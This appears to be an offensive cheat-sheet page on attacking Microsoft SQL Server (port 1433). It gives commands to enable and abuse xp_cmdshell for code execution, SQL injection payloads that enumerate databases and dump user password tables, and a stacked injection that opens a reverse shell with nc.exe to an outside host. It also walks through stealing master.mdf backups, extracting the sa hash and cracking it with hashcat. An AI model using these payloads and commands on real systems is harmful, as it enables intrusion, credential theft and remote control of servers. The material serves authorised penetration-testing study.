PORT 1433/tcp - Microsoft SQL Server

Introduction

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network.

RCE With Credentials

sqsh

sqsh -S <IP-ADDR> -U <user> -P <pass> -D <database>

In MSSQL there is a procedure called xp_cmdshell that receives a command from Windows, executes it and return the result as rows of text. Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure because is disabled by default, it has been seen on several occasions that, due to a misconfiguration, it does have permissions to enable it.

We need to configure xp_cmdshell.

1> EXEC SP_CONFIGURE N'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> EXEC SP_CONFIGURE N'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> RECONFIGURE
2> go

Once configured we can execute commands with sqsh or crackmapexec.

1> xp_cmdshell 'dir c:\';
2> go

crackmapexec

We can execute code in a easier way with crackmapexec.

crackmapexec mssql -u sa -p password --local-auth -x 'whoami'

SQL Injection in MSSQL

To understand the vulnerability visit the following page link.

SQL Injection

Some SQLi payloads are the following (supposing that the original query return two values):

' union all select 1,2 -- -

# Current User
' union all select CURRENT_USER, 2 -- -

# Databases
' union all select name, 2 from master..sysdatabases -- -

# Tables from database "music"
' union all select name, 2 from music..sysobjects  WHERE xtype = 'U' -- -

# Columns from "users" table
' union all select name, 2 from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users') -- -

# Dump a table
' union all select user, password from users -- -

We can also append commands on the query and execute commands with the procedure xp_cmdshell.

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- -
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- -
'; EXEC xp_cmdshell '\\10.10.10.10\share\nc.exe -e cmd.exe 10.10.10.10 443' -- - 

LFI or File Download to RCE

If we are able to download any file of the system and has the MSSQL port open, we can retrieved the sa hash.

We need to download a copy of the master.mdf file located on:

C:/Program Files/Microsoft SQL Server/MSSQL14.SQLEXPRESS/MSSQL/DATA/master.mdf
or
C:/Program Files/Microsoft SQL Server/MSSQL14.SQLSERVER/MSSQL/DATA/master.mdf

Since the file is running we can not read it, so we need to find a backup. Some backups are available here:

C:/Program Files/Microsoft SQL Server/MSSQL14.SQLEXPRESS/MSSQL/Backup/master.mdf

Once downloaded we can dump the hashes with XPN script.

Powershell-PostExploitation/Invoke-MDFHashes at master · xpn/Powershell-PostExploitationGitHub

Note: The code fails while trying to load OrcaMDF dlls, see the following pull request to fix it.

https://github.com/xpn/Powershell-PostExploitation/pull/2

File changed:

Tothi pull request.

We just need to import the module and extract the hashes.

Import-Module Get-MDFHashes.psq
Get-MDFHashes -mdf master.mdf

Dumping mdf hashes

We can crack it with Hashcat (mode 1731).

hashcat -a 0 -m 1731 hash.txt /usr/share/wordlists/rockyou.txt

Once obtained the credentials we can execute code with crackmapexec or sqsh.

@_xpn_ - Extracting SQL Server Hashes From master.mdfXPN InfoSec Blog

References

• https://www.tarlogic.com/blog/red-team-tales-0x01/#:~:text=In%20MSSQL%2C%20there%20is%20a,occurs%20in%20the%20original%20query.

• https://dotcppfile.wordpress.com/2014/07/24/reading-files-in-mssql-injection-tutorial/

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md

• https://blog.xpnsec.com/extracting-master-mdf-hashes/